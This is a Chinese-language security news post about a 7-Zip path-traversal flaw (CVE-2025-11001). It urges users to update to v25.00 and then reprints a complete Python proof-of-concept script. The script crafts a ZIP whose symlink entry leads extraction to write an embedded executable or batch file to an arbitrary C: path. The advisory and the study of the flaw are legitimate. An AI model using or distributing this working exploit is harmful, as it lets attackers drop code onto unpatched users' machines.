#安全资讯 研究人员在 GitHub 公布 7-Zip 远程代码执行漏洞的 PoC 概念验证,相关攻击可能很快就会暴增,请立即更新到 7-Zip v25.00 + 版。此前 7-Zip 被爆出高危漏洞,不过漏洞已经在三个月前修复,迟迟没有公布漏洞细节是因为 7-Zip 不具备自动更新功能,提前公布可能会引发安全危机,现在 PoC 公布后攻击必然会大量增长,使用该软件的用户务必立即升级。查看全文:https://ourl.co/110946
早前研究人员公布开源压缩工具 7-Zip 的路径遍历漏洞 ,黑客借助该漏洞可以构造特制的恶意文件诱导用户使用 7-Zip 打开,从而触发漏洞并实现远程代码执行。
这个漏洞早在三个月前发布的 7-Zip v25.00 版中修复,研究人员迟迟没有公布漏洞是因为 7-Zip 不具备自动更新功能,因此漏洞若是提前公布且大量用户未更新的情况下,可能会造成严重的安全威胁。
不过现在已经过去三个月,漏洞被公布的同时,也已经有研究人员在 GitHub 上公布该漏洞的 PoC 概念验证,也就是借助这个概念验证代码可以利用漏洞发起攻击。
因此如果你使用 7-Zip 那么请务必升级到最新版本,按照行业惯例,一旦 PoC 公布那么很快利用漏洞发起的攻击将会呈指数级增长,尤其是 7-Zip 这种不带自动更新的软件,黑客利用率可能还会显著高于其他软件。
当然对于有兴趣的安全研究人员或其他从业人员,也可以通过 PoC 代码来进行测试,学习此类漏洞的利用方法以便未来能够在其他软件审计中带来帮助。
7-Zip v25.00下载地址:https://www.7-zip.org/download.html
概念验证代码:
import argparse
import os
import time
import zipfile
def add_dir(z, arcname):
if not arcname.endswith('/'):
arcname += '/'
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o040755 << 16) | 0x10
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, b'')
def add_symlink(z, arcname, target):
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o120777 << 16)
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, target.encode('utf-8'))
def add_file_from_disk(z, arcname, src_path):
with open(src_path, 'rb') as f:
payload = f.read()
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o100644 << 16)
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, payload)
def main():
parser = argparse.ArgumentParser(
description="Crafts a zip that exploits CVE-2025-11001."
)
parser.add_argument(
"--zip-out", "-o",
required=True,
help="Path to the output ZIP file."
)
parser.add_argument(
"--symlink-target", "-t",
required=True,
help="Destination path the symlink points to - specify a \"C:\" path"
)
parser.add_argument(
"--data-file", "-f",
required=True,
help="Path to the local file to embed e.g an executable or bat script."
)
parser.add_argument(
"--dir-name",
default="data",
help="Top-level directory name inside the ZIP (default: data)."
)
parser.add_argument(
"--link-name",
default="link_in",
help="Symlink entry name under the top directory (default: link_in)."
)
args = parser.parse_args()
top_dir = args.dir_name.rstrip("/")
link_entry = f"{top_dir}/{args.link_name}"
embedded_name = os.path.basename(args.data_file)
file_entry = f"{link_entry}/{embedded_name}"
with zipfile.ZipFile(args.zip_out, "w") as z:
add_dir(z, top_dir)
add_symlink(z, link_entry, args.symlink_target)
add_file_from_disk(z, file_entry, args.data_file)
print(f"Wrote {args.zip_out}")
if __name__ == "__main__":
main()via GitHub
蓝点网站长,如果发现本文存在错误或错别字,欢迎在评论区留言,收到消息后我将及时修改。其他事宜请点击本站任意页面底部的「与我们联系」获取邮箱。
2.44W783.50M1.65W10.40M¥30

